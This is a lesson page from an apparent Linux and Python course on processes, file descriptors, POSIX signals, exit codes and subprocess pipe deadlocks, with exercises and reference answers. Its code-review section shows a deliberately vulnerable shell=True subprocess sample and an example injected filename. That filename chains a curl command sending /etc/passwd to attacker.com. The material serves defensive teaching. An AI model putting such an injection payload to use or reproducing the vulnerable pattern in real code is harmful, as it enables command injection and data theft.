01 — Processes, File Descriptors, Exit Codes & Signals

At a glance

After completing this lesson you can:

Time: ~60 minutes · Prerequisites: Start Here

Reading Companion

Why this matters in production

In modern cloud environments (Docker, Kubernetes, AWS ECS, systemd), process lifecycle management is the difference between zero-downtime rolling deploys and dropping thousands of user transactions.

When Kubernetes scales down an endpoint or deploys a new version of your service:

  1. It sends a SIGTERM signal to the main container process (PID 1).
  2. It waits for a configured grace period (default: 30 seconds).
  3. If the process has not cleanly terminated by the deadline, Kubernetes delivers SIGKILL (kill -9).

If your Python service does not listen for SIGTERM—or worse, if an AI-generated Dockerfile uses the shell form CMD python app.py which spawns /bin/sh as PID 1 that silently swallows signals—the process never receives the shutdown notification. Instead, it runs blindly until the 30-second timeout expires, at which point SIGKILL violently rips away memory and network sockets, cutting off active database transactions mid-write and corrupting user sessions.

Furthermore, improper stream management causes severe data loss: writing crash diagnostics to stdout instead of stderr leaves errors trapped inside user-space block buffers when the kernel terminates a frozen process.

Deep dive

1. The Anatomy of a Linux Process: task_struct and the FD Table

In Linux, a process is represented in kernel memory by a task_struct data structure. Among its critical fields are:

+------------------------------------------------------------------------+
| Linux Kernel Memory Space: Process task_struct (PID: 4821, PPID: 1)    |
|                                                                        |
| [File Descriptor Table]                                                |
|   Index   Pointer to Open File Description (file table in kernel)      |
|   -----   -------------------------------------------------------      |
|   FD 0    sys.stdin  <--- Kernel Pipe or TTY Device                     |
|   FD 1    sys.stdout ---> Buffer (Line-buffered in TTY, Block-buffered)|
|   FD 2    sys.stderr ---> Unbuffered stream (Diagnostics & Errors)     |
|   FD 3    Active PostgreSQL TCP Socket (e.g. 10.0.0.5:5432)            |
|   FD 4    File lock on /var/run/app.pid                                |
+------------------------------------------------------------------------+

Every new file, socket, or pipe created by your program allocates the lowest available integer in this table:

2. POSIX Signals: Cooperative vs Unconditional Termination

POSIX signals are asynchronous notifications dispatched by the kernel to interrupt process execution.

+----------+--------+-----------------------+---------------------------------------+
| Signal   | Number | Default Action        | Catchable / Handleable in Python?     |
+----------+--------+-----------------------+---------------------------------------+
| SIGHUP   | 1      | Terminate process     | YES (Used for live config reload)     |
| SIGINT   | 2      | Terminate process     | YES (Sent by Ctrl+C from terminal)    |
| SIGQUIT  | 3      | Core dump & terminate | YES (Sent by Ctrl+\)                  |
| SIGKILL  | 9      | Terminate process     | NO (Kernel reclaims memory instantly) |
| SIGUSR1  | 10     | Terminate process     | YES (Custom app signaling / log reopen)|
| SIGTERM  | 15     | Terminate process     | YES (Standard polite stop request)    |
+----------+--------+-----------------------+---------------------------------------+

Why SIGKILL Cannot Be Intercepted:

SIGKILL (signal 9) and SIGSTOP (signal 19) are handled directly by the kernel's scheduler. The kernel pauses the CPU state, unmaps the process's virtual memory address space (mm_struct), closes all open file descriptors, and notifies the parent process via SIGCHLD. Your code never receives CPU cycles to execute cleanup logic.

The OOM Killer and oom_score:

When physical RAM and swap are exhausted, the Linux kernel invokes the Out-Of-Memory (OOM) Killer. It computes a badness score (/proc/<pid>/oom_score) based on:

  1. The percentage of system RAM the process consumes.
  2. The administrative adjustment score (/proc/<pid>/oom_score_adj, range -1000 to +1000).

The process with the highest score receives unconditional SIGKILL (resulting in exit code 137 = 128 + 9).

3. Exit Status Conventions and Math

When a process terminates, it leaves an 8-bit unsigned exit status code (0–255) for its parent process to inspect via the wait() or waitpid() syscalls:

4. Process Spawning: fork(), execve(), and Subprocess Deadlocks

In Unix-like systems, new processes are created via two fundamental syscalls:

  1. fork(): Clones the calling process, duplicating memory pages using Copy-On-Write (COW).
  2. execve(): Replaces the current process image with a new executable program, clearing memory and resetting signal handlers while inheriting open file descriptors unless marked with O_CLOEXEC.

The 64 KB Pipe Deadlock Problem:

When running child processes in Python, communicating via pipes (subprocess.PIPE) creates an OS-level kernel buffer (typically 64 KB on Linux).

[ Python Parent ] ──── blocks waiting on proc.wait() ────┐
       ^                                                 | DEADLOCK!
       |                                                 v
[ Kernel Pipe (64 KB) ] ◄── write() blocks because full ── [ Child Process ]

If the child process produces more than 64 KB of text on stdout or stderr, its write() call blocks waiting for the parent to read data. If the parent simultaneously called proc.wait(), neither process can proceed! To prevent this, always use subprocess.run(..., capture_output=True) or proc.communicate(), which asynchronously pump pipes using selectors or background threads.

Hands on

Execute the two demonstration scripts included in this lesson to observe signal trapping and subprocess isolation:

# 1. Run graceful draining demo:
python3 phase0-foundations/01-linux-and-shell/01-processes-and-streams/examples/01_streams_and_signals.py

# 2. Run safe subprocess execution vs command injection demo:
python3 phase0-foundations/01-linux-and-shell/01-processes-and-streams/examples/02_subprocess_trap.py

Observe in 01_streams_and_signals.py how sending SIGTERM to self triggers the non-blocking signal flag, allowing the active loop iteration to finish cleanly before exiting with zero data loss.

AI Trap & Code Review

AI coding assistants frequently write subprocess commands that look clean but introduce catastrophic security and stability vulnerabilities:

# BAD AI-GENERATED CODE — DO NOT SHIP IN PRODUCTION
import subprocess

def inspect_log_file(filename: str) -> str:
    # Trap 1: Shell Injection Vulnerability!
    cmd = f"grep ERROR /var/log/app/{filename}"
    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    
    # Trap 2: OS Pipe Buffer Deadlock!
    proc.wait() 
    
    # Trap 3: No timeout handling!
    return proc.stdout.read().decode()

What a Mid-Level Engineer catches in Code Review:

  1. Remote Command Injection (shell=True): Because cmd is interpolated directly and passed to /bin/sh -c, if filename contains app.log; curl http://attacker.com/leak?d=$(cat /etc/passwd), the shell executes the second command with full privileges. Never use shell=True with dynamic strings. Always pass an argument list (["grep", "ERROR", target_path]) with shell=False.
  2. Kernel Pipe Buffer Deadlock (proc.wait() before reading): If the log file contains more than 64 KB of matching error lines, grep blocks on its write() syscall waiting for the pipe to be drained, while proc.wait() blocks waiting for grep to exit. The process hangs forever.
  3. Missing Execution Timeout: If the child process stalls or reads from an open pipe, the worker thread remains blocked indefinitely, consuming pool capacity. Always supply timeout=N.

Exercises

Open exercises.py and implement the 5 progressive rungs. Verify your solutions against the automated test suite:

python3 -m unittest phase0-foundations/01-linux-and-shell/01-processes-and-streams/test_exercises.py -v
  1. Rung 1 (classify_exit_code): Map integer exit codes (0, 1–127, 130, 137, 143, 128+N) to normalized status strings ("SUCCESS", "SIGKILL_OOM", "SIGTERM", "SIGINT", "SIGNAL_<N>", "APP_ERROR_<code >").
  2. Rung 2 (run_command_safely — Fix the AI Bug): Repair the broken subprocess runner to use shell=False, handle TimeoutExpired cleanly by returning (-1, "", "TIMEOUT"), and reject empty argument lists.
  3. Rung 3 (route_log_streams): Read raw log records from an input stream, routing valid JSON objects to a stdout stream and malformed records to a stderr stream with line numbers, returning exit code 0 on clean batches and 1 on error encounters.
  4. Rung 4 (GracefulWorker): Implement a worker state machine that processes sequential task batches but cleanly halts between items when a shutdown signal is signaled, guaranteeing no partial or dropped items.
  5. Rung 5 (parse_systemd_env_file): Parse production Linux /etc/environment or systemd environment definitions, handling comments (#), whitespace, export prefixes, inline = characters, and matching quotes.

Wrapping up

Can you explain?

Answer these engineering interview questions clearly:

  1. Why does docker stop take exactly 10 seconds to stop a container when the Dockerfile uses CMD ["sh", "-c", "python app.py"]?
  2. In Kubernetes, what exact sequence of events occurs between when a Pod enters Terminating status and when its containers are removed?
  3. What is the fundamental architectural difference between how SIGTERM and SIGKILL are handled by the Linux operating system?

Further Reading & References

Show reference solution notes

Solution & Engineering Notes — 01 Processes, Streams & Signals

Interview Answers (Can you explain?)

  1. Why does docker stop take 10 seconds when using CMD ["sh", "-c", "python app.py"]? Because /bin/sh becomes PID 1 inside the container, and standard /bin/sh does not forward SIGTERM to its child processes. Docker sends SIGTERM to PID 1 (sh), which ignores it; after the 10-second timeout expires, Docker sends SIGKILL (9) to all processes in the container namespace. Fix: always use exec form CMD ["python", "app.py"] or exec python app.py so Python itself is PID 1.
  2. Exit code 137 in Kubernetes: 137 = 128 + 9 (SIGKILL). In 99% of backend incidents, this means the Linux kernel's OOM Killer (Out Of Memory) terminated the container because it exceeded its cgroup memory limit (resources.limits.memory).
  3. Why proc.wait() before proc.stdout.read() deadlocks: OS pipes have a finite kernel buffer (64 KB on Linux). Once the child process writes 64 KB to stdout, its write() syscall blocks until the parent reads from the pipe. If the parent is blocked inside proc.wait(), neither process can advance. subprocess.run() uses communicate(), which reads stdout and stderr concurrently via selector/threads while waiting.

Self-check

Run python3 -m unittest phase0-foundations/01-linux-and-shell/01-processes-and-streams/test_exercises.py -v until green, then record it here. Saved to progress/rungs.json; commit it.

Confidence:

Completion edits PROGRESS.md; commit it with the lesson.